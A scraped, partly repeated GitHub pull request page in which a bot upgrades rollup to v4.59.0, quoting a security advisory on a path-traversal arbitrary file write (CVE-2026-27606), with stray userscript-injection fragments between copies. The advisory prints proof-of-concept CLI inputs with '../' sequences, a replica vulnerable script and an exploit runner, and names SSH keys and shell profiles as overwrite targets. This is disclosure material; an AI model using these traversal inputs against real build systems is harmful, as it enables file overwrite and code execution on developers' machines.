chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
017d3e9 to
cca5542CompareMay 12, 2026 10:20
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
cca5542 to
c6bf339CompareMay 12, 2026 16:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c6bf339 to
bd59b6bCompareMay 14, 2026 17:52
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
bd59b6b to
145bfdcCompareMay 14, 2026 20:51
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
145bfdc to
da0879fCompareMay 18, 2026 12:42
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Auto-enable theater mode on YouTube\n(function() {\n function tryTheater() {\n var btn = document.querySelector('button[aria-label=\"Theater mode\"], ytd-player #player button[title=\"Theater mode\"]');\n if (btn && !btn.classList.contains('activated')) {\n btn.click();\n }\n }\n \n // Try immediately\n tryTheater();\n \n // Try after navigation (SPA)\n var lastUrl = location.href;\n setInterval(function() {\n if (location.href !== lastUrl) {\n lastUrl = location.href;\n setTimeout(tryTheater, 500);\n }\n }, 1000);\n \n // Also try on player load\n var observer = new MutationObserver(tryTheater);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "YouTube Theater Mode Default");
}
} catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '

Skip to content
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - #211
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Open
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]#211
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
rollup (source)4.52.2 → 4.59.0ageconfidence
rollup (source)^4.52.3 → ^4.59.0ageconfidence
Rollup 4 has Arbitrary File Write via Path Traversal
CVE-2026-27606 / GHSA-mw96-cpmx-2vgc
More information
Details
Summary
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).
    // src/utils/sanitizeFileName.ts (Line 3)constINVALID_CHAR_REGEX=/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.
  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.
    // src/rollup/rollup.ts (Line 317)constfileName=resolve(outputOptions.dir||dirname(outputOptions.file!),outputFile.fileName);
    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.
PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
Scenario: CLI Named Input Exploit
  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:

    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.
Reproduction Files provided :
  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.
vuln_app.js
constpath=require('path');constfs=require('fs');/** * REPLICATED ROLLUP VULNERABILITY *  * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) * 2. Unsafe Path Resolution (from src/rollup/rollup.ts) */functionsanitize(name){// The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../'returnname.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g,'_');}asyncfunctionbuild(userSuppliedName){constoutputDir=path.join(__dirname,'dist');constfileName=sanitize(userSuppliedName);// Vulnerability: path.resolve() follows traversal sequences in the filenameconstoutputPath=path.resolve(outputDir,fileName);console.log(`[*] Target write path: ${outputPath}`);if(!fs.existsSync(path.dirname(outputPath))){fs.mkdirSync(path.dirname(outputPath),{recursive: true});}fs.writeFileSync(outputPath,'console.log("System Compromised!");');console.log(`[+] File written successfully.`);}build(process.argv[2]||'bundle.js');
exploit.py
importsubprocessfrompathlibimportPathdefrun_poc():
# Target a file outside the 'dist' folderpoc_dir=Path(__file__).parentmalicious_filename="../pwned_by_rollup.js"target_path=poc_dir/"pwned_by_rollup.js"print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable appsubprocess.run(["node", "poc/vuln_app.js", malicious_filename])
iftarget_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanupelse:
print("[FAILED] Exploit did not work.")
if__name__=="__main__":
run_poc()
POC
rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist
image
Impact
This is a High level of severity vulnerability.
  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.
Severity
  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
rollup/rollup (rollup)
v4.59.0
Compare Source
2026-02-22
Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests
v4.58.0
Compare Source
2026-02-20
Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests
v4.57.1
Compare Source
2026-01-30
Bug Fixes
  • Fix heap corruption issue in Windows (#​6251)
  • Ensure exports of a dynamic import are fully included when called from a try...catch (#​6254)
Pull Requests
v4.57.0
Compare Source
2026-01-27
Features
  • Add import attributes to all plugin hooks that did not provide them yet (#​5700)
  • Deprecate returning import attributes from load or transform hooks as that will no longer be supported with rollup 5 (#​5700)
Pull Requests
v4.56.0
Compare Source
2026-01-22
Features
  • Track object property inclusions of dynamic namespace members (#​6230)
Bug Fixes
  • Handle methods that access dynamically imported namespace members via this (#​6230)
Pull Requests
v4.55.3
Compare Source
2026-01-21
Bug Fixes
  • Fix JSX semicolon insert position in variable declarations (#​6241)
Pull Requests
v4.55.2
Compare Source
2026-01-19
Bug Fixes
  • Sort manual chunks by execution order to reduce circular dependency issues (#​6240)
Pull Requests
v4.55.1
Compare Source
2026-01-05
Bug Fixes
  • Fix artifact reference for OpenBSD (#​6231)
Pull Requests
v4.54.0
Compare Source
2025-12-20
Features
  • Enable tree-shaking for Symbol.hasInstance, Symbol.dispose and Symbol.asyncDispose properties if unused (#​6046)
Bug Fixes
  • Ensure that well-known-Symbol-valued properties are not tree-shaken except in select cases (#​6046)
  • Ensure namespace properties are included when referenced only from a try-catch (#​6216)
Pull Requests
v4.53.5
Compare Source
2025-12-16
Bug Fixes
  • Fix wrong semicolon insertion position when using JSX (#​6206)
  • Generate spec-compliant sourcemaps when sources content is excluded (#​6196)
Pull Requests
v4.53.4
Compare Source
2025-12-15
Bug Fixes
  • Ensure Symbol.dispose and Symbol.asyncDispose properties are never removed with (await) using declarations. (#​6209)
Pull Requests
v4.53.3
Compare Source
2025-11-19
Bug Fixes
  • Fix an error where too many modules where flagged for having an unused external import (#​6182)
  • Fix an error where an assignment was wrongly tree-shaken when mutating it (#​6183)
Pull Requests
v4.53.2
Compare Source
2025-11-10
Bug Fixes
  • Do not throw when using invalid escape sequences in template literals (#​6177)
Pull Requests
v4.53.1
Compare Source
2025-11-07
Bug Fixes
Pull Requests
v4.53.0
Compare Source
2025-11-07
Features
  • Improve rendering performance by caching generated variable names (#​5947)
Pull Requests
v4.52.5
Compare Source
2025-10-18
Bug Fixes
  • Always produce valid UUIDs as debugIds in sourcemaps (#​6144)
Pull Requests
v4.52.4
Compare Source
2025-10-03
Bug Fixes
  • Fix an issue where the wrong branch of nullish coalescing was picked (#​6133)
Pull Requests
v4.52.3
Compare Source
2025-09-27
Bug Fixes
  • Fix check in native loader for environments that do not support reports (#​6123)
Pull Requests
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamMarch 1, 2026 01:49
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Mar 1, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersMarch 1, 2026 01:49
@renovate
renovateBot
enabled auto-merge (squash)
March 1, 2026 01:49
@deepsource-io
deepsource-ioBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...b91b4eb on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 8:58p.m.Review ↗
ShellMar 26, 2026 8:58p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c971e0c to
fc22925CompareMarch 5, 2026 15:35
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.
DiffPackageSupply Chain
Security		VulnerabilityQualityMaintenanceLicense
Added@​microsoft/​tsdoc@​0.16.0971009084100
Added@​rollup/​plugin-node-resolve@​16.0.19810010086100
Added@​microsoft/​tsdoc-config@​0.18.11001009688100
Updated@​microsoft/​api-extractor@​7.52.13 ⏵ 7.57.794-510089+196+5100
Added@​rollup/​plugin-commonjs@​28.0.69710010093100
View full report
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

Warning
Review the following alerts detected in dependencies.
According to your organization's Security Policy, it is recommended to resolve "Warn" alerts. Learn more about Socket for GitHub.
ActionSeverityAlert (click "▶" to expand/collapse)
WarnHigh
Obfuscated code: npm vite is 91.0% likely obfuscated
Confidence: 0.91
Location:Package overview
From:pnpm-lock.yaml → npm/@nx/react@21.5.3 → npm/vite@7.1.5
ℹ Read more on: This package | This alert | What is obfuscated code?
Next steps: Take a moment to review the security alert above. Review
the linked package source code to understand the potential risk. Ensure the
package is not malicious before proceeding. If you're unsure how to proceed,
reach out to your security team or ask the Socket team for help at
support@socket.dev.

Suggestion: Packages should not obfuscate their code. Consider not using packages with obfuscated code.
Mark the package as acceptable risk. To ignore this alert only
in this pull request, reply with the comment
@SocketSecurity ignore npm/vite@7.1.5. You can
also ignore all packages with @SocketSecurity ignore-all.
To ignore an alert for all future pull requests, use Socket's Dashboard to
change the triage state of this alert.

View full report
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
fc22925 to
f8c8592CompareMarch 13, 2026 17:22
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
f8c8592 to
c80f927CompareMarch 26, 2026 17:24
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Mar 26, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c80f927 to
b91b4ebCompareMarch 26, 2026 20:57
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 26, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026

auto-merge was automatically disabled
March 27, 2026 02:22
Pull request was closed
@renovate
renovateBot
deleted the

renovate/npm-rollup-vulnerability

branch
March 27, 2026 02:22
@storm-softwarestorm-software
locked and limited conversation to collaborators
Mar 28, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
9086cc9 to
b704852CompareApril 1, 2026 17:03
@renovate
renovateBot
enabled auto-merge (squash)
April 1, 2026 17:03
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
b704852 to
59fd8faCompareApril 1, 2026 22:13
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 1, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
59fd8fa to
316d3caCompareApril 8, 2026 21:09
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 8, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
95559e9 to
15d4a3dCompareApril 23, 2026 11:54
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 23, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
15d4a3d to
662ce8aCompareApril 23, 2026 14:38
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 23, 2026
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026

auto-merge was automatically disabled
April 27, 2026 17:55
Pull request was closed
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - autoclosedchore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 27, 2026
@renovaterenovateBot
reopened this
Apr 27, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
3 times, most recently
from
2e48feb to
738b7d2CompareApril 29, 2026 09:44
@renovate
renovateBot
enabled auto-merge (squash)
April 29, 2026 09:44
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
738b7d2 to
85f4ec9CompareApril 29, 2026 19:47
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 29, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
85f4ec9 to
3b6d301CompareApril 30, 2026 13:34
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
3b6d301 to
017d3e9CompareApril 30, 2026 18:00
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]Apr 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
017d3e9 to
cca5542CompareMay 12, 2026 10:20
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
cca5542 to
c6bf339CompareMay 12, 2026 16:14
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 12, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c6bf339 to
bd59b6bCompareMay 14, 2026 17:52
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]chore(monorepo): update pnpm.catalog.default rollup [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
bd59b6b to
145bfdcCompareMay 14, 2026 20:51
@renovaterenovateBot
changed the title
chore(monorepo): update pnpm.catalog.default rollup [security]chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]May 14, 2026
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
145bfdc to
da0879fCompareMay 18, 2026 12:42
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.


Reviewers

@sullivanpjsullivanpjAwaiting requested review from sullivanpjsullivanpj is a code owner

At least 1 approving review is required to merge this pull request.


Assignees


No one assigned


Labels

dependenciesUpgrade or downgrade of project dependencies.

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants


, 'i');
if (__m === '*' || __re.test(location.href)) {
injectUserscript("// Remove or un-stick sticky/fixed headers that block content\n(function() {\n function unstick() {\n document.querySelectorAll('header, nav, [role=\"banner\"], .header, .navbar, .sticky, .fixed-top, [style*=\"position: fixed\"], [style*=\"position:sticky\"]').forEach(function(el) {\n if (el.style.position === 'fixed' || el.style.position === 'sticky' || \n getComputedStyle(el).position === 'fixed' || getComputedStyle(el).position === 'sticky') {\n el.style.position = 'static';\n el.style.top = 'auto';\n el.style.zIndex = 'auto';\n }\n });\n }\n \n unstick();\n \n var observer = new MutationObserver(unstick);\n observer.observe(document.body, { childList: true, subtree: true, attributes: true, attributeFilter: ['style', 'class'] });\n})();", "Kill Sticky Headers");
}
} catch(__e) { console.warn('[Userscript:Kill Sticky Headers]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '

Skip to content
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security] - #211
Open
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Open
chore(monorepo): update pnpm.catalog.default rollup to v4.59.0 [security]#211
renovate[bot] wants to merge 1 commit into
mainfrom 
renovate/npm-rollup-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeConfidence
rollup (source)4.52.2 → 4.59.0ageconfidence
rollup (source)^4.52.3 → ^4.59.0ageconfidence
Rollup 4 has Arbitrary File Write via Path Traversal
CVE-2026-27606 / GHSA-mw96-cpmx-2vgc
More information
Details
Summary
The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
Details
The vulnerability is caused by the combination of two flawed components in the Rollup core:
  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).
    // src/utils/sanitizeFileName.ts (Line 3)constINVALID_CHAR_REGEX=/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.
  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.
    // src/rollup/rollup.ts (Line 317)constfileName=resolve(outputOptions.dir||dirname(outputOptions.file!),outputFile.fileName);
    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.
PoC
A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
Scenario: CLI Named Input Exploit
  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters:

    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.
Reproduction Files provided :
  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.
vuln_app.js
constpath=require('path');constfs=require('fs');/** * REPLICATED ROLLUP VULNERABILITY *  * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) * 2. Unsafe Path Resolution (from src/rollup/rollup.ts) */functionsanitize(name){// The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../'returnname.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g,'_');}asyncfunctionbuild(userSuppliedName){constoutputDir=path.join(__dirname,'dist');constfileName=sanitize(userSuppliedName);// Vulnerability: path.resolve() follows traversal sequences in the filenameconstoutputPath=path.resolve(outputDir,fileName);console.log(`[*] Target write path: ${outputPath}`);if(!fs.existsSync(path.dirname(outputPath))){fs.mkdirSync(path.dirname(outputPath),{recursive: true});}fs.writeFileSync(outputPath,'console.log("System Compromised!");');console.log(`[+] File written successfully.`);}build(process.argv[2]||'bundle.js');
exploit.py
importsubprocessfrompathlibimportPathdefrun_poc():
# Target a file outside the 'dist' folderpoc_dir=Path(__file__).parentmalicious_filename="../pwned_by_rollup.js"target_path=poc_dir/"pwned_by_rollup.js"print(f"=== Rollup Path Traversal PoC ===")
print(f"[*] Malicious Filename: {malicious_filename}")
# Trigger the vulnerable appsubprocess.run(["node", "poc/vuln_app.js", malicious_filename])
iftarget_path.exists():
print(f"[SUCCESS] File escaped 'dist' folder!")
print(f"[SUCCESS] Created: {target_path}")
# target_path.unlink() # Cleanupelse:
print("[FAILED] Exploit did not work.")
if__name__=="__main__":
run_poc()
POC
rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist
image
Impact
This is a High level of severity vulnerability.
  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.
Severity
  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
References
This data is provided by the GitHub Advisory Database (CC-BY 4.0).
Release Notes
rollup/rollup (rollup)
v4.59.0
Compare Source
2026-02-22
Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests
v4.58.0
Compare Source
2026-02-20
Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests
v4.57.1
Compare Source
2026-01-30
Bug Fixes
  • Fix heap corruption issue in Windows (#​6251)
  • Ensure exports of a dynamic import are fully included when called from a try...catch (#​6254)
Pull Requests
v4.57.0
Compare Source
2026-01-27
Features
  • Add import attributes to all plugin hooks that did not provide them yet (#​5700)
  • Deprecate returning import attributes from load or transform hooks as that will no longer be supported with rollup 5 (#​5700)
Pull Requests
v4.56.0
Compare Source
2026-01-22
Features
  • Track object property inclusions of dynamic namespace members (#​6230)
Bug Fixes
  • Handle methods that access dynamically imported namespace members via this (#​6230)
Pull Requests
v4.55.3
Compare Source
2026-01-21
Bug Fixes
  • Fix JSX semicolon insert position in variable declarations (#​6241)
Pull Requests
v4.55.2
Compare Source
2026-01-19
Bug Fixes
  • Sort manual chunks by execution order to reduce circular dependency issues (#​6240)
Pull Requests
v4.55.1
Compare Source
2026-01-05
Bug Fixes
  • Fix artifact reference for OpenBSD (#​6231)
Pull Requests
v4.54.0
Compare Source
2025-12-20
Features
  • Enable tree-shaking for Symbol.hasInstance, Symbol.dispose and Symbol.asyncDispose properties if unused (#​6046)
Bug Fixes
  • Ensure that well-known-Symbol-valued properties are not tree-shaken except in select cases (#​6046)
  • Ensure namespace properties are included when referenced only from a try-catch (#​6216)
Pull Requests
v4.53.5
Compare Source
2025-12-16
Bug Fixes
  • Fix wrong semicolon insertion position when using JSX (#​6206)
  • Generate spec-compliant sourcemaps when sources content is excluded (#​6196)
Pull Requests
v4.53.4
Compare Source
2025-12-15
Bug Fixes
  • Ensure Symbol.dispose and Symbol.asyncDispose properties are never removed with (await) using declarations. (#​6209)
Pull Requests
v4.53.3
Compare Source
2025-11-19
Bug Fixes
  • Fix an error where too many modules where flagged for having an unused external import (#​6182)
  • Fix an error where an assignment was wrongly tree-shaken when mutating it (#​6183)
Pull Requests
v4.53.2
Compare Source
2025-11-10
Bug Fixes
  • Do not throw when using invalid escape sequences in template literals (#​6177)
Pull Requests
v4.53.1
Compare Source
2025-11-07
Bug Fixes
Pull Requests
v4.53.0
Compare Source
2025-11-07
Features
  • Improve rendering performance by caching generated variable names (#​5947)
Pull Requests
v4.52.5
Compare Source
2025-10-18
Bug Fixes
  • Always produce valid UUIDs as debugIds in sourcemaps (#​6144)
Pull Requests
v4.52.4
Compare Source
2025-10-03
Bug Fixes
  • Fix an issue where the wrong branch of nullish coalescing was picked (#​6133)
Pull Requests
v4.52.3
Compare Source
2025-09-27
Bug Fixes
  • Fix check in native loader for environments that do not support reports (#​6123)
Pull Requests
Configuration
📅 Schedule: (in timezone America/New_York)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about these updates again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovate
renovateBot
requested a review
from a teamMarch 1, 2026 01:49
@renovaterenovateBot
added
the 
dependencies
Upgrade or downgrade of project dependencies.
label
Mar 1, 2026
@renovate
renovateBot
requested review from
a team and sullivanpj
as code ownersMarch 1, 2026 01:49
@renovate
renovateBot
enabled auto-merge (squash)
March 1, 2026 01:49
@deepsource-io
deepsource-ioBot
commented
Mar 1, 2026•

edited

Loading

Copy link


Copy Markdown

DeepSource Code Review
We reviewed changes in 242a5a8...b91b4eb on this pull request. Below is the summary for the review, and you can see the individual issues we found as inline review comments.
See full review on DeepSource ↗
PR Report Card
Overall GradeSecurity

Reliability

Complexity

Hygiene
Code Review Summary
AnalyzerStatusUpdated (UTC)Details
JavaScriptMar 26, 2026 8:58p.m.Review ↗
ShellMar 26, 2026 8:58p.m.Review ↗
@renovate
renovateBotforce-pushed
the
renovate/npm-rollup-vulnerability
branch
from
c971e0c to
fc22925CompareMarch 5, 2026 15:35
@socket-security
socket-securityBot
commented
Mar 5, 2026•

edited

Loading

Copy link


Copy Markdown

